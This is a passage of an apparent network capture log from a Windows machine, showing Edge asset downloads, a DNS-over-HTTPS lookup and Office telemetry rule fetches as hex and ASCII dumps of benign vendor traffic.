2024-10-28 01:07:37 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-10-28 01:07:37 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49889	13.107.246.45	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:36 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:37 UTC	591	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:37 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T010737Z-16849878b78fssff8btnns3b1400000004f000000000ubkn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-28 01:07:37 UTC	15793	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: ad e2 24 9f 8b e5 22 a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 Data Ascii: $"8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: e1 d5 35 3b 8a 08 94 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 Data Ascii: 5;Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: 08 7f 2e 10 03 ae dd 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a Data Ascii: .>6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: 39 ff c5 fe 5f 5b 93 e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 Data Ascii: 9_[.kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: 47 4d 2f 62 63 2e b6 df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e Data Ascii: GM/bc.&{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: 40 0c f9 6c a9 df 35 c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf Data Ascii: @l5wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: 62 f3 19 53 9f c9 ea 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d Data Ascii: bSg4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: 02 6c b4 ac 03 81 46 c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 Data Ascii: lFE4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]
2024-10-28 01:07:37 UTC	16384	IN	Data Raw: 89 67 91 52 ea 51 9c 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a Data Ascii: gRQ"}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49891	162.159.61.3	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-28 01:07:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-28 01:07:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 28 Oct 2024 01:07:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9707ad4902e827-DFW alt-svc: h3=":443"; ma=86400
2024-10-28 01:07:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 59 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomYq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49890	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:37 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:37 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:37 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010737Z-16849878b78fssff8btnns3b1400000004q0000000001pc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:37 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49893	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:37 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:37 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010737Z-16849878b78sx229w7g7at4nkg00000002n0000000004qne x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49892	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:37 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:37 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:37 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: a7868e79-001e-0049-77f2-245bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010737Z-r197bdfb6b4mcssrvu34xzqc5400000004a000000000bmpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:37 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" 